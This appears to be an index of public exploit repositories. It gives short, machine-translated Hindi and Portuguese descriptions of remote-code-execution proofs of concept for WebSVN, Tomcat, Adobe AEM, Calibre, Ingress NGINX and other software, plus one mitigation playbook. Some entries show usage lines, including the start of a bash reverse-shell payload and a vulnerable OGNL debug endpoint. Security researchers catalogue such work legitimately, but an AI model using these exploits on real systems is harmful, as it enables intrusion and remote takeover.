CVE-2022-24638

VISTO NO EXPLOITDB: https://www.exploit-db.com/exploits/51026 ESTA VERSÃO ESTÁ CORRIGIDA PARA EVITAR FALSOS NEGATIVOS CVE-2022-24637 Exploit para o RCE não autenticado no Open Web Analytics OWA 1.7.4. Este trabalho é baseado em https://devel0pment.de/?p=2494. AVISO: Este script é feito para audit...

CVE-2022-41828

CVE-2022-41828 Amazon AWS Redshift JDBC Driver दूरस्थ कोड निष्पादन RCE Amazon Redshift के लिए JDBC Driver एक टाइप 4 JDBC ड्राइवर है जो जावा प्लेटफॉर्म, एंटरप्राइज़ एडिशन में उपलब्ध मानक JDBC एप्लीकेशन प्रोग्राम इंटरफेस APIs के माध्यम से डेटाबेस कनेक्टिविटी प्रदान करता है। यह ड्राइवर किसी भी जावा...

CVE-2025-54253-Exploit-Demo

🚨 CVE-2025-54253 – Adobe AEM Forms on JEE OGNL इंजेक्शन से RCE 🔎 अवलोकन CVE-2025-54253 Adobe AEM Forms on JEE में एक गंभीर OGNL इंजेक्शन भेद्यता है। यह बिना प्रमाणीकरण वाले हमलावरों को /adminui/debug?debug=OGNL: एंडपॉइंट के माध्यम से ऑपरेटिंग सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देता ह...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Docker से पुल करें docker pull qweraqq/cve-2018-11235-git-submodule-rce Git HTTP सर्वर शुरू करें docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

CVE-2023-26035

CVE-2023-26035 ZoneMinder Snapshots - Não autenticado Instalação Obter Repositório $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git Configuração Nota: Instale a versão mais recente do node $ npm init $ npm i axios cheerio yargs Uso...

CVE-2019-19609

CVE-2019-19609 Strapi Framework रिमोट कोड एक्ज़ीक्यूशन के प्रति संवेदनशील खैर, मुझे CVE-2019-19609 के लिए कोई एक्सप्लॉइट नहीं मिला, इसलिए मैंने एक लिख दिया। :/ उपयोग python3 exploit.py एक वीडियो https://youtu.be/alhZJmuUd2s अधिक जानकारी https://hack-fast.herokuapp.com/cve/CVE-2019-19609...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: Vulnerabilidade de Bypass de Autenticação durante o login SAML no ServiceDesk Plus. Conforme descrito pela ManageEngine. Se a instalação alvo do ServiceDesk Plus 11134 tem o login SAML ativado e você possui credenciais de um usuário com privilégios baixos,...

CVE-2024-30850-chaos-rat-rce-poc

CHAOS RAT v5.01 वेब पैनल RCE CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS यह एक्सप्लॉइट एक XSS CVE-2024-31839 के लिए एजेंट कॉलबैक को स्पूफ करके, और एडमिन वेब पैनल में कमांड इंजेक्शन भेद्यता CVE-2024-30850 का शोषण करने के लिए XSS का लाभ उठाकर काम करता है। इससे RAT सर्वर से...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 यह CVE-2021-3205 का एक शोषण है, जो search.php पथ पर कमांड इंजेक्शन की एक वेब भेद्यता है, यह शोषण कमांड निष्पादित करने की अनुमति देता है। आवश्यकताएँ optparse, signal, requests उपयोग ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...

CVE-2020-9484

CVE-2020-9484 RCE no Apache Tomcat CVE-2020-9484 As versões afetadas são: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache Tomcat 8.x 8.5.55 Apache Tomcat 7.x 7.0.104...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 दूरस्थ कमांड निष्पादन स्क्रिप्ट अधिक स्क्रिप्ट फ़ाइलों के लिए देखें: https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as...

CVE-2022-21907

CVE-2022-21907 HTTP प्रोटोकॉल स्टैक में कमजोरी जो रिमोट कोड निष्पादन और संभावित सिस्टम क्रैश को सक्षम बनाती है। विषय सूची CVE-2022-21907 विवरण वातावरण पीड़ित मशीन कॉन्फ़िगरेशन हमलावर मशीन कॉन्फ़िगरेशन शोषण प्रूफ ऑफ कॉन्सेप्ट संदर्भ विवरण CVE-2022-21907 Windows 10 के HTTP प्रोटोकॉल स्टैक http.sys...

CVE-2020-27955

Exploit de Execução Remota de Código RCE no Git-lfs CVE-2020-27955 versão .bat / powershell Vulnerável: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Descoberto por Dawid Golunski https://legalhackers.com https://exploitbox.io Testado no Windows em:...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow के लिए RCE और Domain Admin विशेषाधिकार वृद्धि। POC सहित। रिपोर्ट और फिक्स: 2022-05 पैच किया गया संस्करण: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: Command Injection...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 रिमोट कोड निष्पादन शोषण पूर्ण शीर्षक| ChurchInfo 1.2.13-1.3.0 रिमोट कोड निष्पादन शोषण ---|--- दिनांक जोड़ें| 21-11-2022 श्रेणी| रिमोट शोषण प्लेटफ़ॉर्म| php जोखिम| सुरक्षा जोखिम: गंभीर विवरण| यह Metasploit मॉड्यूल किसी अनुलग्नक के साथ ड्राफ़्ट ईमेल तैयार करते...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning CVE-2024-4879 & CVE-2024-5217 ServiceNow RCE स्कैनिंग Nuclei और Shodan Dork का उपयोग करके इसे खोजने के लिए। संसाधन भेद्यता जानकारी https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data उपयोग nuclei -t...

CVE-2024-6782-PoC

CVE-2024-6782-PoC Usage: python3 callibre.py --target http://target:8080/ Calibre के कंटेंट सर्वर के माध्यम से Calibre = 7.14.0 में बिना प्रमाणीकरण के रिमोट कोड निष्पादन।...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 XSS para RCE, Wonder CMS 3.2.0 = 3.4.2 Uso ➜ CVE-2023-41425 python3 exploit.py Enter target URL RHOST, e.g., http://example.com/loginURL: http://redacted.com/loginURL Enter your local host IP LHOST, e.g., 10.10.14.xxx: xx.xx.xx.xx Enter your local web server port...

Mitigate-CVE-2023-46747

CVE-2023-46747 को कम करने के लिए Ansible Playbook K000137353: BIG-IP कॉन्फ़िगरेशन उपयोगिता अन-ऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन भेद्यता CVE-2023-46747 यहाँ लिंक है https://my.f5.com/manage/s/article/K000137353 इसका उपयोग कैसे करें 1. मेरे रेपो को Git क्लोन करें...

CVE-2025-1974-poc

POC of IngressNightmare, RCE in Ingress NGINX CVE-2025-1974 Developed from: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 Thanks उपयोग निर्देश forward the admission webhook kubectl...